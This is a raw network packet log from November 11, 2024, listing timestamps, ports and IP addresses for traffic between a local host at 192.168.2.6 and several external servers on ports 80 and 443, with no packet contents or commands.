Nov 11, 2024 18:51:08.769769907 CET	80	52172	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:08.770081997 CET	52172	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:08.771981955 CET	52172	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:08.776424885 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:08.776473999 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:08.776609898 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:08.776622057 CET	80	52172	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:08.776695967 CET	52172	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:08.776962996 CET	80	52172	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:08.777127028 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:08.777142048 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:08.866388083 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:08.866534948 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:08.947762012 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:08.947787046 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:08.951630116 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:08.951776981 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:08.954055071 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:08.999326944 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.031400919 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.031519890 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.031533957 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.031575918 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.031656027 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.031969070 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.031980991 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.031991959 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.032004118 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.032032967 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.032150030 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.032820940 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.032834053 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.032850981 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.032871008 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.032998085 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.036621094 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.036706924 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.036742926 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.036782026 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.036847115 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.036928892 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.062491894 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.062494040 CET	50215	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:09.063113928 CET	50218	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:09.063142061 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:09.067388058 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.067399025 CET	80	50215	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:09.067426920 CET	52125	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:09.067495108 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.067936897 CET	80	50218	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:09.067970037 CET	50215	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:09.067976952 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:09.067998886 CET	50218	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:09.068192005 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:09.068192005 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:09.068675041 CET	50215	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:09.068676949 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.068933964 CET	50218	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:09.072257042 CET	80	52125	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:09.072308064 CET	52129	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:09.073546886 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:09.073570013 CET	80	50215	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:09.073580980 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.073693991 CET	80	50218	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:09.077194929 CET	80	52129	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:09.079880953 CET	52119	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:09.085056067 CET	80	52119	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:09.121963024 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.122101068 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.122121096 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.122133017 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.122186899 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.122494936 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.122507095 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.122586966 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.122843027 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.122854948 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.122870922 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.122891903 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.122946024 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.123346090 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.123357058 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.123575926 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.156930923 CET	50219	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:09.158371925 CET	53777	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:09.158371925 CET	53777	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:09.163120985 CET	80	50219	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:09.165069103 CET	50219	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:09.176939011 CET	50220	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.176985979 CET	443	50220	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.178250074 CET	53776	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:09.178325891 CET	50220	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.183110952 CET	80	53776	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:09.212680101 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.212945938 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.223047018 CET	50219	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:09.227824926 CET	80	50219	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:09.236927986 CET	50220	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.236941099 CET	443	50220	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.281229019 CET	80	53776	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:09.288928032 CET	53776	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:09.319842100 CET	80	54730	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:09.320591927 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:09.416110992 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.416135073 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.416491985 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.416699886 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.418422937 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.463351011 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.494942904 CET	80	50218	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:09.495150089 CET	50218	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:09.502017975 CET	80	50218	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:09.503007889 CET	50218	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:09.580316067 CET	80	50219	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:09.580373049 CET	50219	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:09.642998934 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.643408060 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.643440962 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.643486977 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.643521070 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.643532991 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.643560886 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.644119024 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.644165993 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.669688940 CET	443	50220	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.669748068 CET	50220	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.724435091 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.724497080 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.725713968 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.725771904 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.726977110 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.726984978 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.727042913 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.727058887 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.727565050 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.727608919 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.727616072 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.727627039 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.727654934 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.727663040 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.727685928 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.727711916 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.747026920 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.747109890 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.747122049 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.747199059 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.747468948 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.747625113 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.747636080 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.747684002 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.748137951 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.748148918 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.748162985 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.748177052 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.748192072 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.748210907 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.752335072 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.752444983 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.752456903 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.752512932 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.807714939 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.807786942 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.807795048 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.807821035 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.807846069 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.807871103 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.809729099 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.809776068 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.809787989 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.809793949 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.809812069 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:09.809838057 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.809838057 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.809858084 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:09.835700035 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.835814953 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.835828066 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.835864067 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.835915089 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.836015940 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.836196899 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.836208105 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.836234093 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.836262941 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.836483955 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.836596012 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.836638927 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.836726904 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.836764097 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.836771011 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.836782932 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.836808920 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.836817980 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.837208033 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:09.840941906 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:09.867964029 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.868010044 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.868104935 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.868119955 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.868163109 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.868201971 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.868236065 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.868242025 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.868280888 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.868653059 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.868694067 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.868696928 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.868705034 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.868772984 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.869137049 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.869170904 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.869206905 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.869211912 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.869241953 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.950870037 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.950933933 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.950958967 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.950979948 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.951000929 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.951024055 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.951075077 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.951096058 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.951096058 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.951096058 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.951107025 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.951121092 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.951144934 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.951148987 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.951179981 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.951647997 CET	80	50215	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:09.951695919 CET	50215	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:09.951981068 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.952017069 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.952022076 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.952059031 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.952450991 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.952980995 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.953003883 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.953022003 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.953023911 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.953032970 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.953046083 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.953074932 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.953682899 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.954019070 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.954040051 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.954060078 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.954066038 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:09.954076052 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:09.954102039 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.311198950 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.311255932 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.311258078 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.311269045 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.311285973 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.311299086 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.311309099 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.311319113 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.311337948 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.311369896 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.311914921 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.311943054 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.311954021 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.311959028 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.311981916 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.312000990 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.312894106 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.312916040 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.312968016 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.312973022 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.313009024 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.313743114 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.313786030 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.314626932 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.314692020 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.315546989 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.315571070 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.315608978 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.315613985 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.315642118 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.315660954 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.316436052 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.316498995 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.317346096 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.317399979 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.318017006 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.318078041 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.318082094 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.318115950 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.318239927 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.409945011 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410015106 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410031080 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410075903 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.410114050 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.410211086 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410372972 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.410386086 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410398960 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410409927 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410415888 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.410423040 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410432100 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.410448074 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.410463095 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.410844088 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410856009 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.410895109 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.414930105 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.415009975 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.415019035 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.415030003 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.415049076 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.415069103 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.491177082 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.491225958 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.491246939 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.491260052 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.491276979 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.491295099 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.491514921 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.491527081 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.491548061 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.491565943 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.491758108 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.491770029 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.491790056 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.491807938 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.492080927 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.492091894 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.492104053 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.492119074 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.492147923 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.492409945 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.492445946 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.492571115 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.492585897 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.492603064 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.492639065 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.492862940 CET	80	52164	199.191.50.83	192.168.2.6
